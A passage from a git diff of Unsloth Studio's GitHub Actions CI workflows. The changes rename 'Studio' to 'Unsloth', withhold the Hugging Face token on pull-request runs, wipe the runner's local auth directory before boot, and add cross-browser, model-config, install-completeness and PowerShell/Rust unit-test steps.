@@ -267,7 +277,7 @@ jobs: echo "STUDIO_EXTRA_OLD_PW=$OLD" >> "$GITHUB_ENV" echo "STUDIO_EXTRA_NEW_PW=$NEW" >> "$GITHUB_ENV" - - name: Drive Compare/Recipes/Export/Studio/Settings with Playwright + - name: Drive Compare/Recipes/Export/Unsloth/Settings with Playwright env: BASE_URL: http://127.0.0.1:18897 STUDIO_OLD_PW: ${{ env.STUDIO_EXTRA_OLD_PW }} @@ -278,8 +288,8 @@ jobs: STUDIO_UI_TURN_TIMEOUT_MS: '540000' GGUF_REPO: ${{ env.GGUF_REPO }} GGUF_VARIANT: ${{ env.GGUF_VARIANT }} - # Same flake-retry shape as "Drive the chat UI with Playwright" - # -- catches pipeTransport JSON crash and ERR_NO_BUFFER_SPACE. + # Same flake-retry shape as "Drive the chat UI with Playwright" -- catches + # pipeTransport JSON crash, ERR_NO_BUFFER_SPACE, and nav interrupts. run: | mkdir -p logs/playwright_extra attempt=1 @@ -292,13 +302,14 @@ jobs: if [ "$rc" -eq 0 ]; then break fi - if { grep -q "Unexpected end of JSON input" logs/playwright_extra_attempt_${attempt}.log \ - || grep -q "ERR_NO_BUFFER_SPACE" logs/playwright_extra_attempt_${attempt}.log; } \ + if { grep -q "Unexpected end of JSON input" logs/playwright_extra_attempt_${attempt}.log \ + || grep -q "ERR_NO_BUFFER_SPACE" logs/playwright_extra_attempt_${attempt}.log \ + || grep -q "interrupted by another navigation" logs/playwright_extra_attempt_${attempt}.log; } \ && [ "$attempt" -lt "$max_attempts" ]; then - echo "::warning::Playwright flake on attempt ${attempt}; resetting Studio and retrying..." + echo "::warning::Playwright flake on attempt ${attempt}; resetting Unsloth and retrying..." kill "${STUDIO_EXTRA_PID}" 2>/dev/null || true sleep 2 - unsloth studio reset-password + rm -rf ~/.unsloth/studio/auth UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p 18897 \ > "logs/studio_extra_retry_${attempt}.log" 2>&1 & STUDIO_EXTRA_PID=$! @@ -322,7 +333,7 @@ jobs: exit "$rc" done - - name: Stop second Studio + - name: Stop second Unsloth if: always() run: | kill "${STUDIO_EXTRA_PID}" 2>/dev/null || true @@ -338,5 +349,7 @@ jobs: logs/studio_extra.log logs/install.log logs/playwright + logs/playwright-permissions-* logs/playwright_extra + logs/studio-permissions-*.log retention-days: 7 diff --git a/.github/workflows/studio-mac-update-smoke.yml b/.github/workflows/studio-mac-update-smoke.yml index f554a16415..fe9880f3ca 100644 --- a/.github/workflows/studio-mac-update-smoke.yml +++ b/.github/workflows/studio-mac-update-smoke.yml @@ -4,15 +4,15 @@ # Mac counterpart to studio-update-smoke.yml. Verifies that on a real # Apple Silicon (macos-14, M1) runner: # -# 1. install.sh --local --no-torch installs Studio AND auto-fetches +# 1. install.sh --local --no-torch installs Unsloth AND auto-fetches # the prebuilt llama.cpp Mac binary (llama-bNNNN-bin-macos-arm64 # from ggml-org/llama.cpp). Hitting the source-build fallback is -# treated as an Unsloth bug -- Studio must always pick the +# treated as an Unsloth bug -- Unsloth must always pick the # prebuilt on Mac. # 2. unsloth studio update --local is idempotent. Two consecutive # runs both report "prebuilt up to date and validated", no # source-build fallback. -# 3. The installed Studio still boots and /api/health returns +# 3. The installed Unsloth still boots and /api/health returns # healthy after the update path. name: Mac Studio Update CI @@ -42,7 +42,7 @@ permissions: jobs: update-idempotency: - name: Studio Updating Tests + name: Unsloth Updating Tests runs-on: macos-14 timeout-minutes: 30 steps: @@ -59,10 +59,11 @@ jobs: python-version: '3.12' cache: 'pip' - - name: Install Studio (--local, --no-torch) + - name: Install Unsloth (--local, --no-torch) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | mkdir -p logs set -o pipefail @@ -74,7 +75,8 @@ jobs: - name: First update should be a no-op (prebuilt already validated) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | set -o pipefail unsloth studio update --local 2>&1 | tee logs/update.log @@ -93,7 +95,8 @@ jobs: - name: Second update must also be a no-op env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | set -o pipefail unsloth studio update --local 2>&1 | tee logs/update2.log @@ -103,7 +106,7 @@ jobs: grep -qE "prebuilt up to date and validated|prebuilt installed and validated" logs/update2.log echo "second update was clean" - - name: Boot Studio briefly to confirm the install is still usable + - name: Boot Unsloth briefly to confirm the install is still usable run: | mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p 18891 \ @@ -120,13 +123,13 @@ jobs: sleep 1 done if [ -z "$HEALTHY" ]; then - echo "Studio failed to come up after \`update\`" + echo "Unsloth failed to come up after \`update\`" tail -200 logs/studio.log kill "$PID" 2>/dev/null || true exit 1 fi kill "$PID" 2>/dev/null || true - echo "post-update Studio /api/health OK" + echo "post-update Unsloth /api/health OK" - name: Uninstall and verify clean # Round-trip through scripts/uninstall.sh on real macOS. As a side diff --git a/.github/workflows/studio-tauri-smoke.yml b/.github/workflows/studio-tauri-smoke.yml index 1156c264ae..c6dad07f37 100644 --- a/.github/workflows/studio-tauri-smoke.yml +++ b/.github/workflows/studio-tauri-smoke.yml @@ -12,7 +12,7 @@ # stay in release-desktop.yml (manual `workflow_dispatch`) because they need # code-signing secrets and ~30 min of runner time each. -name: Studio Tauri CI +name: Unsloth Tauri CI on: pull_request: @@ -47,7 +47,7 @@ jobs: run: | sudo apt-get update sudo apt-get install -y \ - libwebkit2gtk-4.1-dev libayatana-appindicator3-dev \ + libwebkit2gtk-4.1-dev libappindicator3-dev \ librsvg2-dev libxdo-dev libssl-dev patchelf - uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6.4.0 @@ -91,6 +91,16 @@ jobs: npm run build test -f dist/index.html + # The crate carries ~100 unit tests (native_file_dialogs, preflight, + # install, desktop_auth, ...) that nothing ran until now: this workflow + # only ever built. Run them here, where the toolchain and the WebKit dev + # packages are already installed, so a broken assertion fails the PR + # instead of sitting unnoticed. `--no-fail-fast` reports every failing + # test in one run rather than stopping at the first. + - name: Rust unit tests (studio/src-tauri) + working-directory: studio/src-tauri + run: cargo test --no-fail-fast + - name: Tauri debug build (Linux, no bundle, no codesign) # `--debug` + `--no-bundle` keeps this lean: compiles the Rust crate, # confirms the frontend dist is wired into Tauri, but skips the AppImage diff --git a/.github/workflows/studio-ui-smoke.yml b/.github/workflows/studio-ui-smoke.yml index de106e201f..3a0713f301 100644 --- a/.github/workflows/studio-ui-smoke.yml +++ b/.github/workflows/studio-ui-smoke.yml @@ -1,8 +1,8 @@ # SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. -# End-to-end Studio chat UI smoke via Playwright + Chromium against a -# headless Linux runner. Boots Studio with the smallest GGUF +# End-to-end Unsloth chat UI smoke via Playwright + Chromium against a +# headless Linux runner. Boots Unsloth with the smallest GGUF # (gemma-3-270m-it UD-Q4_K_XL, ~254 MiB), drives the actual frontend # bundle, and asserts the full bootstrap-password / change-password / # send-message / persist-on-reload journey works end to end. @@ -14,7 +14,7 @@ # frontend-only CI happily pass while the actual user-visible UI is # broken (cf. the 2026.5.1 chat-history release). -name: Studio UI CI +name: Unsloth UI CI on: pull_request: @@ -27,6 +27,7 @@ on: # The Playwright test files themselves -- a PR that ONLY edits # the test must still trigger UI CI. - 'tests/studio/**' + - '.github/scripts/run-studio-permission-browser.sh' - '.github/workflows/studio-ui-smoke.yml' push: branches: [main, pip] @@ -82,7 +83,8 @@ jobs: id: prime-hf if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success' env: - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | python -m pip install --upgrade huggingface_hub mkdir -p hf-cache @@ -96,26 +98,25 @@ jobs: path: hf-cache key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2 - - name: Install Studio (--local, --no-torch) + - name: Install Unsloth (--local, --no-torch) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | mkdir -p logs set -o pipefail bash install.sh --local --no-torch 2>&1 | tee logs/install.log - - name: Install Playwright + Chromium + - name: Install Playwright browsers run: | pip install 'playwright>=1.45' - # --with-deps installs the OS-level runtime libs Chromium - # needs (libnss3, libxkbcommon, etc.). About 30 s on a - # warm runner. - python -m playwright install --with-deps chromium + python -m playwright install --with-deps chromium firefox webkit - - name: Reset auth + boot Studio + - name: Reset auth + boot Unsloth run: | - unsloth studio reset-password + # Wipe (not reset-password): the boot below must re-seed a fresh .bootstrap_password. + rm -rf ~/.unsloth/studio/auth mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \ > logs/studio.log 2>&1 & @@ -145,7 +146,7 @@ jobs: # NEW + NEW2 are generated freshly per CI run via secrets.token_urlsafe # rather than hardcoded. If a workflow gets compromised, the # attacker can't replay a known-good rotated password against - # any future / parallel Studio install -- the rotated value + # any future / parallel Unsloth install -- the rotated value # only ever exists for the lifetime of this single job, masked # in the log via ::add-mask::. run: | @@ -163,31 +164,37 @@ jobs: env: BASE_URL: http://127.0.0.1:18892 # The test file lives in the repo so it can be run locally - # against a freshly-installed Studio (BASE_URL=...; STUDIO_OLD_PW= + # against a freshly-installed Unsloth (BASE_URL=...; STUDIO_OLD_PW= # $(cat ~/.unsloth/studio/auth/.bootstrap_password); python ...). PW_ART_DIR: logs/playwright # Strict mode: in CI a missing button / nav / dialog must # FAIL the test. Locally the test still runs against partial - # Studio installs without STUDIO_UI_STRICT. + # Unsloth installs without STUDIO_UI_STRICT. STUDIO_UI_STRICT: '1' run: | mkdir -p logs/playwright python tests/studio/playwright_chat_ui.py - - name: Stop Studio (chat-ui ends with Shutdown click; this is belt-and-suspenders) + - name: Stop Unsloth (chat-ui ends with Shutdown click; this is belt-and-suspenders) if: always() run: | kill "${STUDIO_PID}" 2>/dev/null || true sleep 2 + - name: Cross-browser permission controls + run: | + bash .github/scripts/run-studio-permission-browser.sh 18893 firefox + bash .github/scripts/run-studio-permission-browser.sh 18893 webkit + bash .github/scripts/run-studio-permission-browser.sh 18893 chromium chrome + # The chat UI test ends by clicking the Shutdown menuitem, which # leaves the server dead. The extra UI test (Compare / Recipes / - # Export / Studio / Settings) needs a fresh Studio, so we boot a + # Export / Unsloth / Settings) needs a fresh Unsloth, so we boot a # second one on a different port. Boot is fast (~3-5s on the # warm install we already did) so this adds little wall time. - - name: Reset auth + boot Studio for extra UI tests (port 18894) + - name: Reset auth + boot Unsloth for extra UI tests (port 18894) run: | - unsloth studio reset-password + rm -rf ~/.unsloth/studio/auth mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p 18894 \ > logs/studio_extra.log 2>&1 & @@ -212,7 +219,7 @@ jobs: echo "STUDIO_EXTRA_OLD_PW=$OLD" >> "$GITHUB_ENV" echo "STUDIO_EXTRA_NEW_PW=$NEW" >> "$GITHUB_ENV" - - name: Drive Compare/Recipes/Export/Studio/Settings with Playwright + - name: Drive Compare/Recipes/Export/Unsloth/Settings with Playwright env: BASE_URL: http://127.0.0.1:18894 STUDIO_OLD_PW: ${{ env.STUDIO_EXTRA_OLD_PW }} @@ -225,18 +232,75 @@ jobs: mkdir -p logs/playwright_extra python tests/studio/playwright_extra_ui.py - - name: Stop second Studio + - name: UI font size scaling regression (Playwright) + env: + BASE_URL: http://127.0.0.1:18894 + STUDIO_PW: ${{ env.STUDIO_EXTRA_NEW_PW }} + PW_ART_DIR: logs/playwright_fontscale + run: | + mkdir -p logs/playwright_fontscale + python tests/studio/playwright_ui_font_scale.py + + - name: Stop second Unsloth if: always() run: | kill "${STUDIO_EXTRA_PID}" 2>/dev/null || true sleep 2 - # IME + multilingual paste regression (issue #5318 / PR #5327). - # Third Studio on its own port so a hang here cannot poison the - # earlier UI tests. No GGUF -- the bug surface is the composer. - - name: Reset auth + boot Studio for IME / i18n tests (port 18896) + # Model-picker per-model-config regression (PR #7207 re-land of #6647). + # Fourth Unsloth on its own port; loads the tiny GGUF and drives the + # picker's run-settings surface: Context Length persists across a reload, + # Reset clears the stored override (never pins it), and the infra models + # (RAG embedder + llama.cpp probe) stay hidden from the picker. + - name: Reset auth + boot Unsloth for model-config tests (port 18898) run: | - unsloth studio reset-password + rm -rf ~/.unsloth/studio/auth + mkdir -p logs + UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p 18898 \ + > logs/studio_modelcfg.log 2>&1 & + echo "STUDIO_MODELCFG_PID=$!" >> "$GITHUB_ENV" + + - name: Wait for /api/health on 18898 + run: | + for i in $(seq 1 180); do + if curl -fs "http://127.0.0.1:18898/api/health" > /tmp/health4.json; then + jq -e '.status == "healthy"' /tmp/health4.json && break + fi + sleep 1 + done + jq -e '.status == "healthy"' /tmp/health4.json + + - name: Pass bootstrap pw for model-config test + run: | + NEW="CIModelCfg-$(python -c 'import secrets; print(secrets.token_urlsafe(16))')" + echo "::add-mask::$NEW" + echo "STUDIO_MODELCFG_NEW_PW=$NEW" >> "$GITHUB_ENV" + + - name: Drive model-picker per-model-config with Playwright + env: + BASE_URL: http://127.0.0.1:18898 + STUDIO_NEW_PW: ${{ env.STUDIO_MODELCFG_NEW_PW }} + PW_ART_DIR: logs/playwright_modelcfg + STUDIO_UI_STRICT: '1' + GGUF_REPO: ${{ env.GGUF_REPO }} + GGUF_VARIANT: ${{ env.GGUF_VARIANT }} + STUDIO_MODEL_HINT: gemma-3-270m + run: | + mkdir -p logs/playwright_modelcfg + python tests/studio/playwright_model_config.py + + - name: Stop fourth Unsloth + if: always() + run: | + kill "${STUDIO_MODELCFG_PID}" 2>/dev/null || true + sleep 2 + + # IME + multilingual paste regression (issue #5318 / PR #5327). + # Third Unsloth on its own port so a hang here cannot poison the + # earlier UI tests. No GGUF -- the bug surface is the composer. + - name: Reset auth + boot Unsloth for IME / i18n tests (port 18896) + run: | + rm -rf ~/.unsloth/studio/auth mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p 18896 \ > logs/studio_ime.log 2>&1 & @@ -254,7 +318,7 @@ jobs: - name: Pass bootstrap pw for IME / i18n test # IME smoke does the change-password against the bootstrap that - # Studio's frontend injects into the page, so it only needs the + # Unsloth's frontend injects into the page, so it only needs the # NEW password. run: | NEW="CIIme-$(python -c 'import secrets; print(secrets.token_urlsafe(16))')" @@ -271,11 +335,15 @@ jobs: mkdir -p logs/playwright_ime python tests/studio/playwright_chat_ime_i18n.py - - name: Stop third Studio + - name: Stop third Unsloth if: always() run: | kill "${STUDIO_IME_PID}" 2>/dev/null || true sleep 2 + # Capture backend + llama-server logs (all three Studios share this + # dir) so a stray 500 has a server-side traceback. + mkdir -p logs/server-logs + cp -r ~/.unsloth/studio/logs/. logs/server-logs/ 2>/dev/null || true - name: Upload Playwright artifacts # Always upload so a green run's screenshots stay reviewable -- @@ -287,9 +355,15 @@ jobs: path: | logs/studio.log logs/studio_extra.log + logs/studio_modelcfg.log logs/studio_ime.log logs/install.log + logs/server-logs/ logs/playwright + logs/playwright-permissions-* logs/playwright_extra + logs/playwright_fontscale + logs/playwright_modelcfg logs/playwright_ime + logs/studio-permissions-*.log retention-days: 7 diff --git a/.github/workflows/studio-update-smoke.yml b/.github/workflows/studio-update-smoke.yml index 307bb51972..047840e41c 100644 --- a/.github/workflows/studio-update-smoke.yml +++ b/.github/workflows/studio-update-smoke.yml @@ -9,7 +9,7 @@ # This catches regressions in setup.sh's update path that the existing # GGUF / wheel jobs would miss because they only invoke install.sh once. -name: Studio Update CI +name: Unsloth Update CI on: pull_request: @@ -36,7 +36,7 @@ permissions: jobs: update-idempotency: - name: Studio Updating Tests + name: Unsloth Updating Tests runs-on: ubuntu-latest timeout-minutes: 15 steps: @@ -63,7 +63,7 @@ jobs: # post-step then fatal-errors with "Cache folder path is # retrieved for pip but doesn't exist on disk". - - name: Install Studio (--local, --no-torch) + - name: Install Unsloth (--local, --no-torch) # Pass the workflow token so the llama.cpp prebuilt installer's # GitHub-API call to list releases isn't rate-limited (60/hr # unauthenticated). Without this, three consecutive install + @@ -71,7 +71,8 @@ jobs: # prebuilt path falls back to source build. env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | mkdir -p logs set -o pipefail @@ -86,7 +87,8 @@ jobs: # idempotency regressed. env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | set -o pipefail unsloth studio update --local 2>&1 | tee logs/update.log @@ -109,7 +111,8 @@ jobs: # the first one. env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | set -o pipefail unsloth studio update --local 2>&1 | tee logs/update2.log @@ -119,7 +122,7 @@ jobs: grep -qE "prebuilt up to date and validated|prebuilt installed and validated" logs/update2.log echo "second update was clean" - - name: Boot Studio briefly to confirm the install is still usable + - name: Boot Unsloth briefly to confirm the install is still usable # If `update --local` accidentally broke the venv or wiped the # llama-server binary, the server would fail to start here. run: | @@ -135,13 +138,53 @@ jobs: sleep 1 done if ! jq -e '.status == "healthy"' /tmp/health.json 2>/dev/null; then - echo "Studio failed to come up after `update`" + echo "Unsloth failed to come up after `update`" tail -200 logs/studio.log kill "$PID" 2>/dev/null || true exit 1 fi kill "$PID" 2>/dev/null || true - echo "post-update Studio /api/health OK" + echo "post-update Unsloth /api/health OK" + + - name: A complete install reports itself complete + run: | + set -o pipefail + unsloth studio verify-install + unsloth studio desktop-capabilities --json | tee /tmp/caps.json + jq -e '.studio_install_ok == true' /tmp/caps.json + jq -e '.desktop_manageability_version >= 2' /tmp/caps.json + + - name: An incomplete install must not report itself ready + # An installer killed part-way leaves a working CLI but no studio.txt + # deps, which the old preflight called ManagedReady. The manifest is + # written last, so removing it reproduces that state. + run: | + set -o pipefail + # install.sh's default root, resolved explicitly: `python` on PATH + # here is setup-python's, not the managed venv. + MANIFEST="$HOME/.unsloth/studio/unsloth_studio/unsloth_install_manifest.json" + test -f "$MANIFEST" || { echo "::error::installer never wrote $MANIFEST"; exit 1; } + rm -f "$MANIFEST" + unsloth studio desktop-capabilities --json | tee /tmp/caps_bad.json + jq -e '.studio_install_ok == false' /tmp/caps_bad.json + if unsloth studio verify-install; then + echo "::error::verify-install passed on an install with no manifest" + exit 1 + fi + echo "incomplete install correctly reported not-ready" + + - name: Update repairs an incomplete install + # `--local` bypasses setup.sh's PyPI version compare, so this asserts + # the repair OUTCOME. The non-local fast path the desktop Repair button + # uses is covered by tests/studio/install/test_setup_fast_path_guard.py. + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + set -o pipefail + unsloth studio update --local 2>&1 | tee logs/update_repair.log + unsloth studio verify-install + unsloth studio desktop-capabilities --json | jq -e '.studio_install_ok == true' + echo "update repaired the incomplete install" - name: Uninstall and verify clean # Round-trip the installer through scripts/uninstall.sh: confirms the diff --git a/.github/workflows/studio-windows-api-smoke.yml b/.github/workflows/studio-windows-api-smoke.yml index 78efe918ac..b328939846 100644 --- a/.github/workflows/studio-windows-api-smoke.yml +++ b/.github/workflows/studio-windows-api-smoke.yml @@ -9,7 +9,7 @@ # (Section 6) is Linux-only and short-circuits on non-POSIX; the rest # is platform-portable. -name: Windows Studio API CI +name: Windows Unsloth API CI on: pull_request: @@ -34,7 +34,7 @@ permissions: jobs: api-smoke: - name: Studio API & Auth Tests + name: Unsloth API & Auth Tests runs-on: windows-latest timeout-minutes: 30 defaults: @@ -75,7 +75,8 @@ jobs: id: prime-hf if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success' env: - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | python -m pip install --upgrade huggingface_hub mkdir -p hf-cache @@ -104,7 +105,7 @@ jobs: # studio-windows-update-smoke.yml for the full rationale -- # creating an empty studio/frontend/dist trips setup.ps1's # mtime-based staleness check into "frontend up to date, skip - # rebuild" and Studio boots with an empty dist directory. + # rebuild" and Unsloth boots with an empty dist directory. # Add-MpPreference accepts paths that do not yet exist. foreach ($p in @( "$env:USERPROFILE\.unsloth", @@ -120,11 +121,12 @@ jobs: } } - - name: Install Studio (--local, --no-torch) + - name: Install Unsloth (--local, --no-torch) shell: pwsh env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | New-Item -ItemType Directory -Force -Path logs | Out-Null # *>&1 captures Write-Host (Information stream) output; @@ -159,7 +161,7 @@ jobs: echo "install.ps1 installed the Windows prebuilt llama.cpp:" cat "$INFO" - - name: Add Studio shim to GITHUB_PATH + - name: Add Unsloth shim to GITHUB_PATH # install.ps1's User-PATH update doesn't propagate to a # running Git Bash session; export the shim dir so the # next `unsloth ...` invocation finds it. @@ -175,9 +177,10 @@ jobs: - name: Install pyjwt for the JWT-expiry forge test run: python -m pip install 'pyjwt>=2.6' - - name: Reset auth + boot Studio (API-only) + - name: Reset auth + boot Unsloth (API-only) run: | - unsloth studio reset-password + # Wipe (not reset-password): the boot below must re-seed a fresh .bootstrap_password. + rm -rf ~/.unsloth/studio/auth mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \ > logs/studio.log 2>&1 & @@ -205,7 +208,7 @@ jobs: echo "STUDIO_NEW_PW=$NEW" >> "$GITHUB_ENV" echo "STUDIO_NEW2_PW=$NEW2" >> "$GITHUB_ENV" - - name: Run Studio API & Auth tests + - name: Run Unsloth API & Auth tests # Do NOT pin STUDIO_AUTH_DIR here. The Mac/Linux mirrors # hardcode runner-specific paths (/Users/runner/..., # /home/runner/...), but on Windows the path is @@ -217,7 +220,7 @@ jobs: BASE_URL: http://127.0.0.1:18895 run: python tests/studio/studio_api_smoke.py - - name: Stop Studio + - name: Stop Unsloth if: always() run: | kill "${STUDIO_PID}" 2>/dev/null || true diff --git a/.github/workflows/studio-windows-inference-smoke.yml b/.github/workflows/studio-windows-inference-smoke.yml index a772a6d102..d821664327 100644 --- a/.github/workflows/studio-windows-inference-smoke.yml +++ b/.github/workflows/studio-windows-inference-smoke.yml @@ -1,7 +1,7 @@ # SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. -# Three end-to-end smoke jobs that boot a freshly-installed Studio and +# Three end-to-end smoke jobs that boot a freshly-installed Unsloth and # exercise the surfaces real users hit through the OpenAI / Anthropic # SDKs and curl, on the FREE windows-latest runner. Each job picks the # smallest model that exercises the behaviour under test, primes @@ -16,7 +16,7 @@ # Qwen3-VL-2B-Instruct UD-IQ2_XXS + mmproj-F16 (~1.4 GiB total). # Within the 14 GB windows-latest SSD budget. -name: Windows Studio GGUF CI +name: Windows Unsloth GGUF CI on: pull_request: @@ -26,6 +26,7 @@ on: - 'unsloth_cli/**' - 'install.ps1' - 'pyproject.toml' + - 'tests/studio_setup_ps1/**' - '.github/workflows/studio-windows-inference-smoke.yml' push: branches: [main, pip] @@ -56,7 +57,7 @@ jobs: STUDIO_PORT: '18888' HF_HOME: ${{ github.workspace }}/hf-cache # Force UTF-8 for stdio (Windows defaults to cp1252; hf - # download / Studio CLI print "✓" checkmarks and crash + # download / Unsloth CLI print "✓" checkmarks and crash # otherwise). PYTHONIOENCODING: utf-8 PYTHONUTF8: '1' @@ -65,17 +66,34 @@ jobs: with: persist-credentials: false - # Fast GPU-free gate: parse setup.ps1 and run the Resolve-CudaToolkit unit - # test (deferred Windows CUDA Toolkit check) before the heavy GGUF smoke. - - name: setup.ps1 unit test (Resolve-CudaToolkit) + # Fast GPU-free gate: parse install.ps1 + setup.ps1 and run the PowerShell + # unit tests (CUDA-toolkit + torch-flavor helpers) before the heavy GGUF smoke. + - name: PowerShell installer unit tests + shell: pwsh + run: | + foreach ($f in @('install.ps1', 'studio/setup.ps1')) { + $errs = $null + [void][System.Management.Automation.Language.Parser]::ParseFile( + (Resolve-Path $f).Path, [ref]$null, [ref]$errs) + if ($errs) { $errs | ForEach-Object { $_.ToString() }; exit 1 } + Write-Host "$f parsed with no errors" + } + pwsh -NoProfile -File tests/studio/test_resolve_cuda_toolkit.ps1 + pwsh -NoProfile -File tests/studio/test_torch_flavor.ps1 + pwsh -NoProfile -File tests/studio/test_node_decision.ps1 + pwsh -NoProfile -File tests/studio/test_node_probe_guard.ps1 + + # uninstall.ps1: native uninstall must keep the shared unsloth.ico while a + # WSL shortcut still references it (dual install), else that shortcut blanks. + - name: uninstall.ps1 unit test (dual-install icon preserve) shell: pwsh run: | $errs = $null [void][System.Management.Automation.Language.Parser]::ParseFile( - (Resolve-Path studio/setup.ps1).Path, [ref]$null, [ref]$errs) + (Resolve-Path scripts/uninstall.ps1).Path, [ref]$null, [ref]$errs) if ($errs) { $errs | ForEach-Object { $_.ToString() }; exit 1 } - Write-Host "setup.ps1 parsed with no errors" - pwsh -NoProfile -File tests/studio/test_resolve_cuda_toolkit.ps1 + Write-Host "uninstall.ps1 parsed with no errors" + pwsh -NoProfile -File tests/studio/test_uninstall_dual_install_icon.ps1 - uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6.4.0 with: @@ -109,7 +127,8 @@ jobs: # described above (outcome != success). if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success' env: - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | python -m pip install --upgrade huggingface_hub mkdir -p hf-cache @@ -141,7 +160,7 @@ jobs: # studio-windows-update-smoke.yml for the full rationale -- # creating an empty studio/frontend/dist trips setup.ps1's # mtime-based staleness check into "frontend up to date, skip - # rebuild" and Studio boots with an empty dist directory. + # rebuild" and Unsloth boots with an empty dist directory. # Add-MpPreference accepts paths that do not yet exist. foreach ($p in @( "$env:USERPROFILE\.unsloth", @@ -157,11 +176,12 @@ jobs: } } - - name: Install Studio (--local, --no-torch) + - name: Install Unsloth (--local, --no-torch) shell: pwsh env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | New-Item -ItemType Directory -Force -Path logs | Out-Null # *>&1 captures Write-Host (Information stream) output; @@ -194,7 +214,7 @@ jobs: echo "install.ps1 installed the Windows prebuilt llama.cpp:" cat "$INFO" - - name: Add Studio shim to GITHUB_PATH + - name: Add Unsloth shim to GITHUB_PATH run: | SHIM_DIR=~/.unsloth/studio/bin if [ ! -f "$SHIM_DIR/unsloth.exe" ]; then @@ -207,9 +227,10 @@ jobs: - name: Install OpenAI + Anthropic Python SDKs run: python -m pip install 'openai>=1.50' 'anthropic>=0.40' - - name: Reset auth + boot Studio (API-only) + - name: Reset auth + boot Unsloth (API-only) run: | - unsloth studio reset-password + # Wipe (not reset-password): the boot below must re-seed a fresh .bootstrap_password. + rm -rf ~/.unsloth/studio/auth mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \ > logs/studio.log 2>&1 & @@ -224,7 +245,7 @@ jobs: fi sleep 1 done - echo "Studio did not become healthy in 180s" + echo "Unsloth did not become healthy in 180s" tail -200 logs/studio.log exit 1 @@ -261,7 +282,7 @@ jobs: # Retry the load step a few times so a transient TCP RST during # llama-server warm-up (Windows runner image churn, # windows-latest -> windows-2025-vs2026 rollout) doesn't fail - # the whole job. The Studio backend's _wait_for_health now + # the whole job. The Unsloth backend's _wait_for_health now # catches httpx.ReadError too; this retry layer covers the # cases the backend can't recover from on its own. LOAD_OK=0 @@ -362,15 +383,15 @@ jobs: print(f"[{label}] OK -- 4 turns, run1 == run2, history grounded") PY - - 